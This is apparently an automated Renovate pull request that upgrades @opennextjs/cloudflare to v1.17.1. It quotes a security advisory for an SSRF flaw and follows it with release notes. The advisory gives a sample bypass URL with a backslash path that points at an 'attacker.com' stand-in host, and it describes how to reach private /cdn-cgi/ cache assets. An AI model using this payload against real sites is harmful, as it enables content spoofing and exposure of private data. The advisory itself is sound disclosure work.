chore(deps): update dependency @opennextjs/cloudflare to v1.17.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
@opennextjs/cloudflare (source)	1.14.3 → 1.17.1

---

opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass

CVE-2026-3125 / GHSA-c7mq-gh6q-6q7c

More information

Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @​opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.

The @​opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Impact

• SSRF via path normalization bypass of Cloudflare edge interception
• Arbitrary remote content loading under the victim site's domain
• Same-origin policy bypass
• Potential for infrastructure abuse (scanning from Cloudflare IP space, worker resource exhaustion)
• Exposure of private assets stored under /cdn-cgi/ paths. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Credits

Disclosed responsibly by security researcher @​Ezzer17.

Mitigations

The following mitigations have been put in place:

Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.

In addition to the platform level fix, Root cause fix has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @​opennextjs/cloudflare@1.17.1 (https://www.npmjs.com/package/@​opennextjs/cloudflare)

Dependency update to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next. Despite the automatic mitigation deployed on Cloudflare's platform, we encourage affected users to upgrade to the patched version of @​opennextjs/cloudflare.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N

References

• https://github.com/opennextjs/opennextjs-cloudflare/security/advisories/GHSA-c7mq-gh6q-6q7c
• https://nvd.nist.gov/vuln/detail/CVE-2026-3125
• https://github.com/opennextjs/opennextjs-cloudflare/pull/1147
• https://github.com/opennextjs/opennextjs-cloudflare/commit/f5bd138fd3c77e02f2aa4b9c76d55681e59e98b4
• https://github.com/advisories/GHSA-rvpw-p7vw-wj3m
• https://www.cve.org/cverecord?id=CVE-2025-6087
• https://www.npmjs.com/package/@​opennextjs/cloudflare/v/1.17.1
• https://github.com/advisories/GHSA-c7mq-gh6q-6q7c

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

opennextjs/opennextjs-cloudflare (@​opennextjs/cloudflare)

v1.17.1

Compare Source

Patch Changes

• #​1147 f5bd138 Thanks @​vicb! - make dev /cdn-cgi/image behaves like prod for consistency

v1.17.0

Compare Source

Minor Changes

• #​1133 25d5835 Thanks @​dario-piotrowicz! - Update the migrate command to attempt to create an R2 bucket for caching, if that is not possible an application without caching enabled will be generated instead.

v1.16.6

Compare Source

Patch Changes

• #​1138 4487f1f Thanks @​james-elicx! - Fix the CLI potentially setting a future compatibility date in the wrangler config when workerd has published a version matching a future date, by capping to the current date.

v1.16.5

Compare Source

Patch Changes

• #​1127 2b437f1 Thanks @​dario-piotrowicz! - In the migrate command, add an initial step to create a Next.js config file (required by open-next) if it doesn't exist

• #​1126 8c3a36e Thanks @​alex-all3dp! - fix: prevent Worker hang on HEAD requests to static assets

v1.16.4

Compare Source

Patch Changes

• #​1122 6c94a4a Thanks @​dario-piotrowicz! - In migrate command, avoid adding unnecessary newlines when creating files

• #​1122 6c94a4a Thanks @​dario-piotrowicz! - fix migrate command incorrectly erroring if the target application doesn't have a public directory

• #​1122 6c94a4a Thanks @​dario-piotrowicz! - Bump @opennextjs/aws to 3.9.16

  • Fix migrate command not updating Next.js config files
  • Fixes #​1062, #​1115

  See details at https://github.com/opennextjs/opennextjs-aws/releases/tag/v3.9.16

• #​1097 fea645f Thanks @​dario-piotrowicz! - Add --help and --version to the opennextjs-cloudflare CLI

  Improve the opennextjs-cloudflare CLI by:

  • ensuring that unknown commands (e.g., opennextjs-cloudflare foo) display a clear and helpful error message
  • adding a -h|--help flag to display the CLI's help message
  • adding a -v|--version flag to display the package's version

v1.16.3

Compare Source

Patch Changes

• #​1113 09c41f1 Thanks @​anonrig! - bump @opennextjs/aws to 3.9.15

  See details at https://github.com/opennextjs/opennextjs-aws/releases/tag/v3.9.15

v1.16.2

Compare Source

Patch Changes

• #​1105 e6938a0 Thanks @​vicb! - allow using a regional cache with KV

v1.16.1

Compare Source

Patch Changes

• #​1100 8676c78 Thanks @​vicb! - Empty NextNodeServer#handleNextImageRequest to avoid pulling unneeded deps (in #​1098)

v1.16.0

Compare Source

Minor Changes

• #​1083 b062597 Thanks @​dario-piotrowicz! - feature: add migrate command to set up OpenNext for Cloudflare adapter

  This command helps users migrate existing Next.js applications to the OpenNext Cloudflare adapter by automatically setting up all necessary configuration files, dependencies, and scripts.

  To use the command simply run: npx opennextjs-cloudflare migrate

Patch Changes

• #​1092 4279043 Thanks @​vicb! - Check for supported Next version

  The build will now error for unsupported Next version which may contain unpatched security vulnerabilities.
  You can bypass the check using the --dangerouslyUseUnsupportedNextVersion flag.

v1.15.1

Compare Source

Patch Changes

• #​1085 74302ec Thanks @​vicb! - fix the detection of the runtime (webpack vs turbopack)

v1.15.0

Compare Source

Minor Changes

• #​1081 ae3d43d Thanks @​vicb! - Next 16 is now supported

Patch Changes

• #​1076 c99eefd Thanks @​vicb! - fix: do not bundle og when not used

  This saves ~500kB when og is not used

• #​1079 6ac789a Thanks @​vicb! - fix: use the correct runtime (i.e. webpack or turbopack)

• #​1078 249f738 Thanks @​vicb! - drop unused react-dom modules

  This saves ~500kB on the output bundle

v1.14.10

Compare Source

Patch Changes

• #​1071 886c742 Thanks @​vicb! - fix: patch Next config for missing fields.

  There was a regression in Next 16.1.0 (vercel/next.js#86830) and some fields were missing in the config.
  The Next team fixed that in 16.1.4 (vercel/next.js#88733).

  This PR introduce a patch for 16.1.0-16.1.3

v1.14.9

Compare Source

Patch Changes

• #​1070 f7c6b3a Thanks @​vicb! - bump @opennextjs/aws to 3.9.8

  See details at https://github.com/opennextjs/opennextjs-aws/releases/tag/v3.9.8

• #​1057 0230cbe Thanks @​vicb! - Do not inject setImmediate/clearImmediate in the global scope

• #​1069 4ee4ba3 Thanks @​vicb! - Check that wrangler is >= 4.59.2 when building Next 16.1+.

  To ensure workerd has a required fix to setImmediate

v1.14.8

Compare Source

Patch Changes

• #​1064 9222070 Thanks @​vicb! - fix r2 bulk put to respect bucket jurisdiction

v1.14.7

Compare Source

Patch Changes

• #​1053 d447125 Thanks @​vicb! - Support composable cache in Next 16

v1.14.6

Compare Source

Patch Changes

• #​1043 c83cb83 Thanks @​vicb! - fix for CVE-2025-67779

  See https://nextjs.org/blog/security-update-2025-12-11

v1.14.5

Compare Source

Patch Changes

• #​1042 763c4ec Thanks @​vicb! - Bump Next, React, and @​opennextjs/aws to fix vulnerabilities (CVE-2025-55184 and CVE-2025-55183)

  See https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
  See https://nextjs.org/blog/security-update-2025-12-11
  See https://github.com/opennextjs/opennextjs-aws/releases/tag/v3.9.5

• #​1034 721bff0 Thanks @​james-elicx! - output more wrangler command logs when the command fails

• #​1023 a4a2f02 Thanks @​dario-piotrowicz! - When running wrangler deploy add a OPEN_NEXT_DEPLOY environment variable to let wrangler know that it is being run by open-next

v1.14.4

Compare Source

Patch Changes

• #​1020 07919d8 Thanks @​dario-piotrowicz! - Add missing WORKER_SELF_REFERENCE service binding in the wrangler.jsonc that the CLI creates

• #​1032 1de4899 Thanks @​vicb! - fix(images): allow any local path when no localPatterns are specified

---

Configuration

📅 Schedule: (in timezone Asia/Tokyo)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[github-actions]

Version Preview URL: https://fe612341-web-ruler.nemolize.workers.dev